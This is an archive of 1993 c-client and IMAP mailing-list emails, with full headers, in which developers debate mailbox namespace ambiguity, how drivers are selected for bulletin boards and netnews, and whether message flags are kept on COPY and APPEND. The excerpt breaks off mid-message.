16:27:48 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 12 Jul 1993 16:27:45 -0400 (EDT) Message-Id: <8gEQZ1m00WBw4_TuUY@andrew.cmu.edu> Date: Mon, 12 Jul 1993 16:27:45 -0400 (EDT) From: John Gardiner Myers To: Mark Crispin Subject: Re: non-netnews bboard access in c-client/imapd Cc: c-client Interest List In-Reply-To: References: Beak: Is Mark Crispin writes: > No, because the ambiguity would still exist at the IMAP level, and the whole > purpose of the ugly syntax is to eliminate the ambiguity. Oh boy, it's the old ambiguous/unambiguous namespace argument again. I mistakenly thought we had gotten this resolved. Exporting an ambiguous/"rubber room" name does not prevent you from also accepting an implementation-dependent unambiguous name, for clients that care. In the absense of a user who explicitly gives implementation-specific information, clients and servers should communicate with ambiguous/"rubber room" names. Otherwise, clients have to make possibly invalid assumptions about the server implementation. If pine assumes that the IMAP server is a c-client imapd, it's likely to get very confused when talking to a non-c-client IMAP server. The CMU IMAP server, for instance, will tell any client trying to use a mailbox or bboard name with a "/" in it to go jump in a lake. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jul 12 13:32:02 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16073; Mon, 12 Jul 93 13:32:02 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18269; Mon, 12 Jul 93 13:31:56 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18263; Mon, 12 Jul 93 13:31:54 -0700 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25975; Mon, 12 Jul 93 13:31:50 -0700 Date: Mon, 12 Jul 1993 13:14:07 -0700 (PDT) From: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993, John Gardiner Myers wrote: > I maintain that it is a mistake to expose implementation details > through the interface unless the user is explicitly making > implementation-specific requests. In particular, it is wrong to > expose the storage format through the default "rubber-room" namespace. > Why should the user have to know or care whether the mailing list > archives are stored in netnews, berkeley, or tenex format? The user shouldn't know or care, neither the format, nor the absolute location in a filesystem... Things I believe to be true: 1. The issue is to define a satisfactory user-visible namespace, not expose implementation details. But the user-visible namespace *might* use a syntax familiar in *some* filesystem! Even if the mapping to the actual filesystem organization is different. 2. It is highly desirable for the sysadmin to be able to choose where/how to store archive or other data. 3. The user-visible namespace *must* support hierarchy, which means a canonical path syntax must be defined, even though it may be relative to a sysadmin-defined root, or a driver-defined abstract root. 4. We are really searching for a way to select an IMAP driver via the name string syntax that goes across the wire. However, whatever means is chosen to tell a driver that "this name's for you", the requirement to support a hierarchical path (without using netnews dot notation) is still with us. -teg From pinedev@shivax2.cac.washington.edu Mon Jul 12 13:44:42 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16548; Mon, 12 Jul 93 13:44:42 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18491; Mon, 12 Jul 93 13:44:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18485; Mon, 12 Jul 93 13:44:33 -0700 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26494; Mon, 12 Jul 93 13:44:23 -0700 Date: Mon, 12 Jul 1993 13:33:31 -0700 (PDT) From: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers Cc: Mark Crispin , c-client Interest List In-Reply-To: <8gEQZ1m00WBw4_TuUY@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993, John Gardiner Myers wrote: > Mark Crispin writes: > > No, because the ambiguity would still exist at the IMAP level, and the whole > > purpose of the ugly syntax is to eliminate the ambiguity. > > Oh boy, it's the old ambiguous/unambiguous namespace argument again. > I mistakenly thought we had gotten this resolved. I believe the ambig/nonambig name issues *have* finally been resolved in the context of a single driver. I don't believe they have been resolved in the context of multiple drivers, as we are facing here. > Exporting an ambiguous/"rubber room" name does not prevent you from > also accepting an implementation-dependent unambiguous name, for > clients that care. I think I agree, though I'm not sure who is doing the exporting. > In the absense of a user who explicitly gives implementation-specific > information, clients and servers should communicate with > ambiguous/"rubber room" names. Otherwise, clients have to make > possibly invalid assumptions about the server implementation. Agreed. > If pine assumes that the IMAP server is a c-client imapd, it's likely > to get very confused when talking to a non-c-client IMAP server. The > CMU IMAP server, for instance, will tell any client trying to use a > mailbox or bboard name with a "/" in it to go jump in a lake. Pine makes no such assumption. In fact, we've worked hard to keep *any* notion of filesystem name syntax out of the Pine code. (OK, so there are a couple of exceptions for DOS, but not in c-client functions.) However, a Pine user can *configure* his/her environment to take advantage of an IMAPd that will make an effort to map a user-provided path name into the actual filesystem. This is especially handy (indeed, essential) in environments such as ours where an IMAP server may also be a timesharing host, and it is a requirement to be able to get at the same mailboxes both locally and remotely. -teg From pinedev@shivax2.cac.washington.edu Mon Jul 12 14:11:56 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17362; Mon, 12 Jul 93 14:11:56 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18860; Mon, 12 Jul 93 14:11:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18854; Mon, 12 Jul 93 14:11:48 -0700 Received: by andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 12 Jul 93 17:11:43 EDT Received: via switchmail; Mon, 12 Jul 1993 17:11:42 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 17:11:12 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 17:11:10 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 12 Jul 1993 17:11:08 -0400 (EDT) Message-Id: Date: Mon, 12 Jul 1993 17:11:08 -0400 (EDT) From: John Gardiner Myers Subject: Re: non-netnews bboard access in c-client/imapd To: c-client Interest List In-Reply-To: References: Beak: Is Terry Gray writes: > I believe the ambig/nonambig name issues *have* finally been resolved in > the context of a single driver. I don't believe they have been resolved > in the context of multiple drivers, as we are facing here. I think you've already solved the problem of ambiguity between the bezerk and tenex drivers. Why not apply the same solution to the bboard/netnews instance of the same problem? > I think I agree, though I'm not sure who is doing the exporting. I'm trying to make a statement about interfaces in general, but the particular interface I'm trying to apply this to is a server exporting the IMAP protocol. > 2. It is highly desirable for the sysadmin to be able to choose > where/how to store archive or other data. I see this as a driver-parameter/server-configuration issue. A driver could presumably be given a table like: { "archive.", "~ftp/list-archive/" }, { "", "/usr/spool/bboard/" }, To tell it where to search for folders. >From a human-factors standpoint, I would think users are far more used to the netnews dot notation than the unix pathname notation in the context of bboards. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jul 12 14:29:12 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17722; Mon, 12 Jul 93 14:29:12 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19077; Mon, 12 Jul 93 14:29:06 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from norman.nwnet.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19071; Mon, 12 Jul 93 14:29:04 -0700 Received: from norman.nwnet.net by norman.nwnet.net (5.65/UW-NDC Revision: 2.27 ) id AA24032; Mon, 12 Jul 93 14:29:03 -0700 Date: Mon, 12 Jul 1993 14:11:45 -0700 (PDT) From: Laurence Lundblade Reply-To: Laurence Lundblade Subject: Re: non-netnews bboard access in c-client/imapd To: Terry Gray Cc: John Gardiner Myers , c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII This is interesting. When you say canonical, do you mean as part of the IMAP standard so that all implementations should be able to deal with the heirarchy or is this for particular drivers? Seems like doing it for particular drivers could lead to interoperbility problems, though I certainly see it as desirable. LL On 12 Jul 1993, Terry Gray wrote: ..... > 3. The user-visible namespace *must* support hierarchy, which means > a canonical path syntax must be defined, even though it may be relative > to a sysadmin-defined root, or a driver-defined abstract root. > > 4. We are really searching for a way to select an IMAP driver via the > name string syntax that goes across the wire. However, whatever means > is chosen to tell a driver that "this name's for you", the > requirement to support a hierarchical path (without using netnews dot > notation) is still with us. > > -teg > > > From pinedev@shivax2.cac.washington.edu Mon Jul 12 16:27:26 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21828; Mon, 12 Jul 93 16:27:26 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20913; Mon, 12 Jul 93 16:27:19 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20907; Mon, 12 Jul 93 16:27:17 -0700 Received: from Mac-Treister.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA23571; Mon, 12 Jul 93 16:27:15 PDT Date: Mon, 12 Jul 93 16:24:30 -0800 From: Adam Treister To: imap@cac.washington.edu Subject: Re: message state preservation in COPY and APPEND operations Cc: c-client Interest List Message-Id: In-Reply-To: Your message of Mon, 12 Jul 1993 16:04:03 -0400 (EDT) Content-Type: TEXT/plain; charset=US-ASCII Just to chime in quickly, I think the status of flags needs to be preserved across transfer of messages. I can see that its messy to implement, but its "the right thing" as far as the user is concerned. If the user has set keywords, they need to be preserved. I could take it so far as to say that a client may want to be able to add status information to the header in the process of doing the move. Imagine an agent which moves mail from the inbox to a folder without the user actually knowing. It may be beneficial if the agent adds a X-Moved-Because header in the process to include the rule that caused the action. (This may be a bit futuristic, but was the first example that came to mind. I'm sure there are more mundane examples.) It sure seems to me that there is a lot of redundancy between Move, Copy, and Append, and maybe preservation of attributes could be a differentation among these commands. (The implication is that Copy is creating a new message, which may not have attributes set, but Move should not change the message in the process) Adam -------------------------------------------------- Adam Treister Polya Hall 205, Stanford CA 94305 - (415) 725-9449 -------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Jul 12 16:45:40 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22254; Mon, 12 Jul 93 16:45:40 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21163; Mon, 12 Jul 93 16:45:25 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from norman.nwnet.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21155; Mon, 12 Jul 93 16:45:23 -0700 Received: from norman.nwnet.net by norman.nwnet.net (5.65/UW-NDC Revision: 2.27 ) id AA28429; Mon, 12 Jul 93 16:45:19 -0700 Date: Mon, 12 Jul 1993 16:39:37 -0700 (PDT) From: Laurence Lundblade Subject: Re: message state preservation in COPY and APPEND operations To: Adam Treister Cc: imap@cac.washington.edu, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Actually I don't think preserving flags on a COPY is always the right thing to do. For example is someone saves a messages with the \DELETE flag on, the flag should probably not be copied. The user probably is saving the message from the next expunge. The best solution would, I believe, enable you to set the flags as you wish on all the operations without having to actually open the mailbox. That is, the behavior should be left up to the user interface, and not imposed by IMAP. LL On 12 Jul 1993, Adam Treister wrote: > Just to chime in quickly, I think the status of flags needs to be preserved > across transfer of messages. I can see that its messy to implement, but > its "the right thing" as far as the user is concerned. If the user has set > keywords, they need to be preserved. > > I could take it so far as to say that a client may want to be able to add > status information to the header in the process of doing the move. Imagine > an agent which moves mail from the inbox to a folder without the user > actually knowing. It may be beneficial if the agent adds a X-Moved-Because > header in the process to include the rule that caused the action. (This > may be a bit futuristic, but was the first example that came to mind. I'm > sure there are more mundane examples.) > > It sure seems to me that there is a lot of redundancy between Move, Copy, > and Append, and maybe preservation of attributes could be a differentation > among these commands. (The implication is that Copy is creating a new > message, which may not have attributes set, but Move should not change the > message in the process) > > Adam > -------------------------------------------------- > Adam Treister > Polya Hall 205, Stanford CA 94305 - (415) 725-9449 > -------------------------------------------------- > > > From pinedev@shivax2.cac.washington.edu Mon Jul 12 22:05:19 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27265; Mon, 12 Jul 93 22:05:19 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02954; Mon, 12 Jul 93 22:05:10 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02948; Mon, 12 Jul 93 22:05:06 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA00359; Mon, 12 Jul 93 22:05:04 -0700 Date: Mon, 12 Jul 1993 21:51:38 -0700 (PDT) From: Mark Crispin Subject: Re: message state preservation in COPY and APPEND operations To: Laurence Lundblade Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993 16:39:37 -0700 (PDT), Laurence Lundblade wrote: > The best solution would, I believe, enable you to set the flags as you wish > on all the operations without having to actually open the mailbox. That > is, the behavior should be left up to the user interface, and not imposed > by IMAP. This, I think, is the crux of the problem. Anything that I do in c-client/IMAP is imposed on the user interfaces, even when that choice may be considered wrong by the user interface. I think that is worse than the error of omission, which in this case is simply not to copy the user flags in any message copying operation and let the user interface decide which flags, if any, it wishes to be preserved. However, assuming that it is decided that IMAP should preserve the message state. Let's also assume that we have settled on the following: 1) internal date is NOT copied 2) user flags (keywords) are NOT copied 3) system flags are copied Then that leaves us with the problem of APPEND. We can extend APPEND to have a flags argument. However, that leaves the question of what to do when the server returns BAD because it's a server written for the previous spec. I consider it to be of *utmost* importance to have consistant behavior across all variants of IMAP. Differences in version should be differences in functionality, not differences in fundamental behavior. If we have a case in which APPEND may not preserve the flags in certain cases but would in others, then the user interface is going to have to have code to cover both of these cases, and to do something manually to fix things up. Or the user will have to be told ``that's just tough, sometimes your flags won't be preserved, and there's no way of telling when that will happen.'' I don't consider that to be a desirable situation. Can anyone give a scenario in which consistent behavior is presented to the user? I feel that dropping flags is a minor inconvenience compared to having totally random behavior. Please, when you answer this, don't try to convince me that saving flags would be a nice thing to do. We're all in agreement about this (I think). Try to convince me that we can solve the technical problem of inconsistant behavior. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Jul 12 23:37:14 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28390; Mon, 12 Jul 93 23:37:14 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23773; Mon, 12 Jul 93 23:37:06 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23767; Mon, 12 Jul 93 23:37:05 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04966; Mon, 12 Jul 93 23:37:02 -0700 Date: Mon, 12 Jul 1993 23:31:19 -0700 (PDT) From: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993, John Gardiner Myers wrote: > I think you've already solved the problem of ambiguity between the > bezerk and tenex drivers. Why not apply the same solution to the > bboard/netnews instance of the same problem? Not all of us are convinced that saying you can never have a Berzerk folder ending in the string ".txt" is an acceptable solution... > From a human-factors standpoint, I would think users are far more used > to the netnews dot notation than the unix pathname notation in the > context of bboards. The reason I find this unacceptable is that it precludes having file names with dots in them. I believe such names must be allowed, or we need not bother with this exercise at all. (Remember, I believe a major objective of this activity is to be able to make *existing* anonymous ftp archives available via IMAP.) -teg From pinedev@shivax2.cac.washington.edu Tue Jul 13 00:01:29 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28645; Tue, 13 Jul 93 00:01:29 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23877; Tue, 13 Jul 93 00:01:22 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23871; Tue, 13 Jul 93 00:01:21 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05087; Tue, 13 Jul 93 00:01:19 -0700 Date: Mon, 12 Jul 1993 23:45:51 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: Laurence Lundblade Cc: John Gardiner Myers , c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII LL, About the same time you wrote your msg, I was having some second thoughts about the canonical path syntax issue... I still believe that IMAP must not preclude hierarchical naming syntax; but whether it is both feasible and desirable to define a *canonical* syntax for hierarchy is less clear to me. As John and others have pointed out, we want to keep the protocol (and even its implementation) as free of OS dependencies as possible. As I understand it, IMAP views a hierarchical path name as simply a string name with some possibly funny characters in it. This allows IMAP to deal with "/foo/bar" and "\foo\bar" with equal facility. This seems like a win. Now we also want to distinguish between a namespace recognized by the news driver and a namespace recognized by a different (in this case, Bky) driver. So there are really two issues: 1. Should a canonical path syntax be defined, or leave well-enough alone and keep hierarchy in the "eye of the beholder"? Proably the latter, unless we can really convince ourselves that the former is both feasible and provides some important advantages over the latter. 2. How to differentiate driver namespaces. (An old, old, problem!) We can: a. Leave this to each driver, but with the expectation that a globally unique namespace can be contrived by appropriate link order (so if Berzerk wants to look for "/" so be it...) b. Leave it to each driver, but don't attempt to identify any globally unique namespace across drivers. (John's favorite; my least favorite.) c. Define in IMAP some characteristic of "typical" path names that can be used to select the appropriate driver (e.g. the presence or absence of a "/" or "\".) d. Define some meta-syntax in an IMAP name that can be used to select drivers. Options b and c strike me as the least attractive; option d seems doable but clumsy, leaving option a as the least of several evils in my book. Are there any other options? -teg On Mon, 12 Jul 1993, Laurence Lundblade wrote: > This is interesting. When you say canonical, do you mean as part of the > IMAP standard so that all implementations should be able to deal with the > heirarchy or is this for particular drivers? Seems like doing it for > particular drivers could lead to interoperbility problems, though I > certainly see it as desirable. > > LL > > > On 12 Jul 1993, Terry Gray wrote: > > ..... > > > 3. The user-visible namespace *must* support hierarchy, which means > > a canonical path syntax must be defined, even though it may be relative > > to a sysadmin-defined root, or a driver-defined abstract root. > > > > 4. We are really searching for a way to select an IMAP driver via the > > name string syntax that goes across the wire. However, whatever means > > is chosen to tell a driver that "this name's for you", the > > requirement to support a hierarchical path (without using netnews dot > > notation) is still with us. > > > > -teg > > > > > > > > > From pinedev@shivax2.cac.washington.edu Tue Jul 13 11:11:40 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14225; Tue, 13 Jul 93 11:11:40 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29288; Tue, 13 Jul 93 11:11:28 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from norman.nwnet.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29282; Tue, 13 Jul 93 11:11:26 -0700 Received: from norman.nwnet.net by norman.nwnet.net (5.65/UW-NDC Revision: 2.27 ) id AA07250; Tue, 13 Jul 93 11:11:24 -0700 Date: Tue, 13 Jul 1993 10:57:32 -0700 (PDT) From: Laurence Lundblade Subject: Re: message state preservation in COPY and APPEND operations To: Mark Crispin Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Well, I don't have any great technical solutions for you, but here's some other suggestions. OK, I understand the problem better now. For APPEND I was thinking that it was recent enough and not so widely implemented that we might be able to afford an incompatible change. Stated another way, I was thinking that the amount of inconsistent behavior experienced by users would be small when considering that IMAP (esp APPEND) is at the beginning of it's life now. I infer that Mark doesn't agree with this. I'd like to hear what other folks on this list think. On COPY, I believe this was under-specifed in RFC-1176 so it's not clear whether the correct behavior is to copy flags or not. If that's the case, then we may have random behavior amongst the existing servers right now and nothing to loose. I suggest that we tighten the spec now as Mark recently suggested. (Note: A user program can set the flags on the source message, copy the message, then reset the flags to get the destination flags set as desired without too much trouble and the overhead of opening the destination mailbox). LL On 12 Jul 1993, Mark Crispin wrote: > On Mon, 12 Jul 1993 16:39:37 -0700 (PDT), Laurence Lundblade wrote: > > The best solution would, I believe, enable you to set the flags as you wish > > on all the operations without having to actually open the mailbox. That > > is, the behavior should be left up to the user interface, and not imposed > > by IMAP. > > This, I think, is the crux of the problem. > > Anything that I do in c-client/IMAP is imposed on the user interfaces, even > when that choice may be considered wrong by the user interface. I think that > is worse than the error of omission, which in this case is simply not to copy > the user flags in any message copying operation and let the user interface > decide which flags, if any, it wishes to be preserved. > > However, assuming that it is decided that IMAP should preserve the message > state. Let's also assume that we have settled on the following: > 1) internal date is NOT copied > 2) user flags (keywords) are NOT copied > 3) system flags are copied > > Then that leaves us with the problem of APPEND. We can extend APPEND to have > a flags argument. However, that leaves the question of what to do when the > server returns BAD because it's a server written for the previous spec. > > I consider it to be of *utmost* importance to have consistant behavior across > all variants of IMAP. Differences in version should be differences in > functionality, not differences in fundamental behavior. > > If we have a case in which APPEND may not preserve the flags in certain cases > but would in others, then the user interface is going to have to have code to > cover both of these cases, and to do something manually to fix things up. Or > the user will have to be told ``that's just tough, sometimes your flags won't > be preserved, and there's no way of telling when that will happen.'' > > I don't consider that to be a desirable situation. > > Can anyone give a scenario in which consistent behavior is presented to the > user? I feel that dropping flags is a minor inconvenience compared to having > totally random behavior. > > Please, when you answer this, don't try to convince me that saving flags would > be a nice thing to do. We're all in agreement about this (I think). Try to > convince me that we can solve the technical problem of inconsistant behavior. > > -- Mark -- > > > From pinedev@shivax2.cac.washington.edu Tue Jul 13 11:16:29 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14348; Tue, 13 Jul 93 11:16:29 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29361; Tue, 13 Jul 93 11:16:18 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from blacks.jpl.nasa.gov by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29355; Tue, 13 Jul 93 11:16:16 -0700 Received: from localhost.jpl.nasa.gov by blacks.jpl.nasa.gov (4.1/SMI-4.1) id AA04915; Tue, 13 Jul 93 11:04:15 PDT Message-Id: <9307131804.AA04915@blacks.jpl.nasa.gov> To: Mark Crispin Cc: John Gardiner Myers , c-client@cac.washington.edu, dank@blacks.jpl.nasa.gov Subject: Re: non-netnews bboard access in c-client/imapd In-Reply-To: Your message of "Mon, 12 Jul 93 12:40:52 PDT." Date: Tue, 13 Jul 93 11:04:15 MDT From: dank@blacks.jpl.nasa.gov I agree that implementation details should be hidden- seems like the right way to avoid namespace clashes is to add a way to "mount" various information sources at arbitrary points in the namespace a la /etc/fstab in sunos. From pinedev@shivax2.cac.washington.edu Tue Jul 13 14:21:42 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21020; Tue, 13 Jul 93 14:21:42 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02284; Tue, 13 Jul 93 14:21:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02276; Tue, 13 Jul 93 14:21:32 -0700 Received: from ssrg-ipc-5.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA17439; Tue, 13 Jul 93 14:21:29 PDT Date: Tue, 13 Jul 1993 13:03:49 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: Re: message state preservation in COPY and APPEND operations To: Laurence Lundblade Cc: Mark Crispin , IMAP Interest List , c-client Interest List In-Reply-To: Laurence Lundblade's message of Tue, 13 Jul 1993 10:57:32 -0700 (PDT): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > OK, I understand the problem better now. For APPEND I was > thinking that it was recent enough and not so widely > implemented that we might be able to afford an incompatible > change. Stated another way, I was thinking that the amount of > inconsistent behavior experienced by users would be small when considering > that IMAP (esp APPEND) is at the beginning of it's life now. I infer > that Mark doesn't agree with this. I'd like to hear what > other folks on this list think. IMAP has been around for quite a long time. The changes not too long ago regarding CREATE and it's relation to MOVE/COPY already broke compatibility on clients, unless you pull some real hacks to parse telemetry messages and use that to determine behaviour. This makes the exact text of the error messages an (unofficial) part of the protocol. If behaviour is changed for APPEND, let's at least use the same back door for negotiating differences. I agree, there probably aren't many APPEND implementations out there, but there might be a few. If it is to be changed, the sooner, the better; while the count of affected clients is still reasonably low.... mike From pinedev@shivax2.cac.washington.edu Wed Jul 14 22:35:40 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25033; Wed, 14 Jul 93 22:35:40 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15532; Wed, 14 Jul 93 22:35:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15526; Wed, 14 Jul 93 22:35:21 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA03865; Wed, 14 Jul 93 22:35:19 -0700 Date: Wed, 14 Jul 1993 21:44:14 -0700 (PDT) From: Mark Crispin Subject: Re: non-netnews bboard access in c-client/imapd To: Terry Gray Cc: Laurence Lundblade , John Gardiner Myers , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993 23:45:51 -0700 (PDT), Terry Gray wrote: > I still believe that IMAP must not preclude hierarchical naming syntax; > but whether it is both feasible and desirable to define a *canonical* > syntax for hierarchy is less clear to me. As John and others have pointed > out, we want to keep the protocol (and even its implementation) as free of > OS dependencies as possible. I think we are all in violent agreement on this point. > As I understand it, IMAP views a hierarchical path name as simply a > string name with some possibly funny characters in it. This allows IMAP > to deal with "/foo/bar" and "\foo\bar" with equal facility. This is essentially correct. IMAP has no knowledge of hierarchy. > This seems like a win. Now we also want to distinguish between a > namespace recognized by the news driver and a namespace recognized by > a different (in this case, Bky) driver. This is where we have the disagreement. One religion says that it is important to divide the namespace, because it is a problem if two different drivers both believe that the same name is valid, and that this situation must be prevented at all cost. The other religion says that if this situation arises, it is a user error, and is not worth worrying about. > 1. Should a canonical path syntax be defined, or leave well-enough alone > and keep hierarchy in the "eye of the beholder"? Proably the latter, > unless we can really convince ourselves that the former is both > feasible and provides some important advantages over the latter. Certainly the latter. I, as Official Devil's Advocate (or perhaps just Official Devil?), would be very hard to convince on the feasibility issue. No need to talk about the advantages, they're fairly obvious. I remember having to do with TOPS-10/TOPS-20/ITS/UNIX filename mapping issues many years ago. It was surprisingly obvious to a human what the ``right'' mapping was. The only problem, it wasn't possible to express that in any rational rule set that could be implemented in software. > 2. How to differentiate driver namespaces. (An old, old, problem!) > We can: > a. Leave this to each driver, but with the expectation that a > globally unique namespace can be contrived by appropriate link > order (so if Berzerk wants to look for "/" so be it...) > b. Leave it to each driver, but don't attempt to identify any > globally unique namespace across drivers. (John's favorite; > my 